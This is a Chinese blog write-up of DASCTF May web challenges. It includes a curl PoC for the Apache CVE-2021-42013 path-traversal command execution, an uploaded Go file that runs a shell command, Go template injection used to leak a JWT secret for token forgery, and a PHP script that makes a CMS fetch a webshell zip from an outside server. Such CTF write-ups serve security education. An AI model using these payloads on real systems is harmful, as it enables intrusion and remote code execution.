March 2, 2023

DASCTF MAY出题人挑战赛

考点:简单的签到题
image.png
在登录解密抓个包就可以发现解题思路了:
image.png
在check界面加个admin的cookie就可以得到flag
image.png

魔法浏览器

考点:签到题
image.png
image.png
image.png

getme

CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越与命令执行漏洞
这个倒是挺好识别的,打开浏览器抓包界面:
image.png

POC:curl -v --data "echo;cat /diajgk/djflgak/qweqr/eigopl/f*" '[http://node4.buuoj.cn:29284/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'](http://node4.buuoj.cn:29284/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh')

image.png

hackme

考点:GO语言的RCE
image.png
进入后本来就只有process,log,whoami,users,uptime,flag这几个选项的,算了我还是重开一个环境吧:
image.png
点进去process:
image.png
返回了一些敏感信息,可以看到每个文件都是go类型的文件,随便上传一个文件:
image.png
会自动加上后缀,尝试过上传go文件,我猜测他会执行这个go文件:
image.png
但是他似乎会自动给你加一个.go后缀,到这里就给绕的有点恶心了,然后想起来之前访问users目录:
image.png
也会回显一个类似的,这边的users.go似乎就没加后缀,所以我们是否只需要上传一个users.go文件,内容就是命令执行的内容即可呢?:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main
import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("cat", "/flag")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

image.png访问users后得解

fxxkgo

考点:GO的SSTI,JWT伪造

白盒审计,给了源码,顺便浅学了一下GO和Go.Gin的语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
package main

import (
"encoding/json"
"fmt"
"github.com/gin-gonic/gin"
"github.com/golang-jwt/jwt"
"os"
"text/template"
)

type Account struct {
id string
pw string
is_admin bool
secret_key string
}

type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}

type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}

type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func clear_account() {
acc = acc[:1]
}

func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}


func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {

return
}
}

func flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}

func authHandler(c *gin.Context) {
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}


func Resist(c *gin.Context){
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",
})
}

func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
r := gin.Default()
r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
r.Run(":80")

}

审计一番后可以发现有个流程的register->auth->flag
先注册一个register,然后去auth界面输入我们的用户和密码,会返回一个jwt,但是从源码中我们不知道key
分析一下rootHandler函数,可以看到有一个tpl.Execute(c.Writer, &acc),这个函数会解析模板,也就是考虑此处有个ssti注入,检索了一下go的ssti:

{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}\{\{else}}\{\{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版

这边我们不可以直接{{.secret_key}}获取key,因为解析的acc数组,不是实例化对象,所以得不到key,这里需要用\{\{.}}去获取当前对象的整体属性,来获取key
思路就很清晰了,先注册一个账号,再去auth认证得到jwt,再去/携带X-Token发送post获取key,最后伪造一个jwt,去/flag获取flag
image.png
获取key为fasdf972u1041xu90zm10Av

image.png

ezcms

考点:PHP代码审计,弱口令,远程文件包含
直接就白盒了,但是文件多的和屎一样
发现一个admin.php,我们就直接进去:
一个登录界面,admin/123456/123456,认证码和密码都是123456
image.png
在这里找了一会儿也没啥东西,有个数据库,但是里面没东西,审计了一下源码,发现了一个update.php,这个文件没在前台显示
image.png
发现了一个更新的功能,他会下载远程的文件,并且解压,那我们岂不是在自己的VPS把一句话木马套一个ZIP,然后让他下载解压,我们不就蚁剑上号了?
思路就这样很简单,但是还需要分析一下sys_auth函数,他对我们传入的url做了加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

这边我们就直接构造poc了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
$url="http://175.178.154.216/3.zip";
var_dump(sys_auth($url));
?>

image.png
把这个参数在update路由get方式传入:
image.png
最后再网站根目录访问3.php可以RCE:
image.png
可喜可贺可喜可贺
这里我思考出了一个小tips,遇到CMS框架,先把他当做渗透测试一样打一通,发现没思路再看看源码!

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#DASCTF